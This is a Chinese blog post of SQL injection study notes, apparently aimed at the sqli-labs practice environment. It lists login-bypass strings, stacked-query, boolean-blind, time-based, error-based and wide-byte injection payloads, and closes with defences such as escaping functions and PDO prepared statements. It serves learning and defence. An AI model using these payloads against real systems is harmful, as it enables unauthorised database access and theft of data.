sql server 替换有反斜杠的字符串_SQL注入思维导图
2020/1/2 22:00
前言本文筆者從大一下學期開始在學習網(wǎng)安這個領(lǐng)域初期的時候,在這個公眾號發(fā)布過不少網(wǎng)安的入門文章。時間荏苒,隨著知識的積累和各種項目的經(jīng)歷,在網(wǎng)絡(luò)、運維、網(wǎng)安和編程方面的能力算是呈指數(shù)型爆炸。
最近做了一個超大型的網(wǎng)安思維導(dǎo)圖(我畫的思維導(dǎo)圖真的太大了,本文的sql注入思維導(dǎo)圖僅僅是不到二十分之一而已),基本會覆蓋網(wǎng)安學習和實踐中的所有知識點。思維導(dǎo)圖的各種分支會精細到知識細枝末節(jié)的顆粒度。
當然,也在不斷完善和維護中。本著分享的原則,當我將這個思維導(dǎo)圖完善到能夠讓自己滿意到足夠交代我大一到大三這幾年的學習,我會分享給大家。
我會在本公眾號逐步發(fā)表一些越來越難的東西和我個人的理解(難不難是相對人的,歡迎評論留言不懂之處或?qū)P者的批評之處~)
到時候?qū)W弟問你們怎么入坑網(wǎng)安,各位師傅不要和學弟說這個是勸退圖哦。
大綱(由于微信對圖片的限制,sql注入分支切為四個圖。將大段文字的注解分別跟在每個思維導(dǎo)圖后面方便大家理解)
1.SQL與SQLi ? (SQL injection,即SQL注入)判斷
2.手工注入
3.SQLmap錦集 ?(在兼職當講師的時候?qū)qlmap進行了一次重新的大梳理)
4.其他點與防御
1SQL與SQLi判斷
mid函數(shù):
select mid((select username from users where id=1),1,2)
substr函數(shù):
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
這種單個字符比較的話,返回布爾值的1或0
ord函數(shù):
(同于 ascii()) ?-> ascii碼 :select ord("a")
正則注入和通配符函數(shù):
mysql可以使用regexp來匹配正則,
mssql是like匹配不標準的正則,也就是通配符匹配:
通配符%多個字符,_是單個字符
select * from users where password regexp '^D'
SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '[a-z]' LIMIT 0,1
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
like進行模糊匹配
select user() like "ro%"
mysql報錯:
判斷注入點最直接簡單的方式是看有沒有DBMS的報錯信息。
!注意區(qū)別于CGI腳本的報錯、中間件的報錯和防火墻的報錯。
這幾者報錯不一樣
2手工注入
萬能密碼(這里放一小部分,有專門的萬能密碼字典去測試):
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
堆疊查詢注入:
less38
http://127.0.0.1:9000/less-38/?id=%27;%20insert%20into%20users(id,username,password)values(%27100%27,%27lqs%27,%27lqs%27)--+
這個和后臺的mysqli_multi_query實現(xiàn)方法有關(guān)
剪切字符串進行ascii比較
sqli-less5:?
字符型直接注入,沒有回顯? ?-》 布爾盲注:
?id=3' and 1=(select 1=(ascii(mid((select database()),1,1))>100)) --+?
sleep():
eg:
select If(1=1,0,sleep(5))
payload:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%2
count,floor,rand報錯(至于為什么這三個函數(shù)會產(chǎn)生報錯信息,在公眾號歷史文章寫過 (點擊右側(cè)標題查看)?為什么count,floor,rand會產(chǎn)生自定義內(nèi)容的報錯:)
Select 1,count(*),
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a
from information_schema.columns group by a;
double數(shù)值類型超出范圍:
Exp()為以 e 為底的對數(shù)函數(shù);版本在 5.5.5 及其以上:
select exp(~(select * FROM(SELECT USER())a)) //double 數(shù)值類 型超出范圍
bigint 超出范圍
select !(select * from (select user())x) -(ps:這是減號) ~0
//bigint 超出范圍;~0 是對 0 逐位取反,很大的版本在 5.5.5 及其以上
可以參考文章 bigint 溢出文章:
http://www.cnblogs.com/lcamry/articles/5509112.html
%df吃掉反斜杠:? (寬字節(jié)注入)
sqli-lab: less32
?id=-1%df%27%20union%20select%201,2,3%20--+
3最強工具sqlmap
4其他,防御
magic_quotes_gpc
php 是通過 magic_quotes_gpc 來決定是否對外來數(shù)據(jù)做轉(zhuǎn)義處理的
php 5.3.6及以后默認關(guān)閉
php5.4.0及以后忽視它的存在
php 5.4 之前,會有全局魔術(shù)引號
但是對引號進行過濾防范不住 int 型的sql注入
get_magic_quotes_gpc():
檢測是否gpc?
常用來避免是否雙層轉(zhuǎn)義
addslashes()
addslashes() 函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串。
預(yù)定義字符是:
單引號(')??雙引號(")??反斜杠(\)??NULL
mysql_real_escape_string()
mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。
PDO:
PDO:PHP data object PHP數(shù)據(jù)對象PDO推薦使用在php5.4及以后,之前的PDO一般都存在一些BUG和問題提供了一個數(shù)據(jù)訪問抽象層,不管什么數(shù)據(jù)庫,都可以直接使用這個來查詢和獲取數(shù)據(jù)<?php $dbms='mysql'; //數(shù)據(jù)庫類型$host='localhost'; //數(shù)據(jù)庫主機名$dbName='security'; //使用的數(shù)據(jù)庫$user='root'; //數(shù)據(jù)庫連接用戶名$pass='root'; //對應(yīng)的密碼$dsn="$dbms:host=$host;dbname=$dbName";try { $dbh = new PDO($dsn, $user, $pass); //初始化一個PDO對象 echo "連接成功"; /*你還可以進行一次搜索操作 foreach ($dbh->query('SELECT * from FOO') as $row) { print_r($row); //你可以用 echo($GLOBAL); 來看到這些值 } */} catch (PDOException $e) {????die?("Error!:?"?.?$e->getMessage()?.?"
");}//默認這個不是長連接,如果需要數(shù)據(jù)庫長連接,需要最后加一個參數(shù):array(PDO::ATTR_PERSISTENT => true) 變成這樣://$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));$dbh->exec("set?names?'utf8'");?$sql?=?"select?*?from?security.users?where?id=??limit?1";$stmt?=?$dbh->prepare($sql);$name = $_GET['id'];//綁定參數(shù)$stmt->bindValue(1,$name);//執(zhí)行預(yù)處理語句$stmt->execute();//推薦這種方式來獲取查詢結(jié)果while?($row=$stmt->fetch()){????print_r($row);}//釋放查詢結(jié)果$stmt = null;//關(guān)閉連接$pdo?=?null;?>這里重點:
tamper腳本的改寫
nmap或者其他工具爆破可外連接mysql服務(wù)
今天SQLmap就介紹到這里了,下一篇我會介紹我寫的nmap的思維導(dǎo)圖,需要大家有良好的網(wǎng)絡(luò)基礎(chǔ)哦~!
歡迎 掃碼 關(guān)注公眾號:網(wǎng)絡(luò)空間安全社? ?后續(xù)精彩文章將會陸續(xù)推送哦
總結(jié)
以上是生活随笔為你收集整理的sql server 替换有反斜杠的字符串_SQL注入思维导图的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python format 槽中槽_pr
- 下一篇: python合并pdf 加书签_使用Py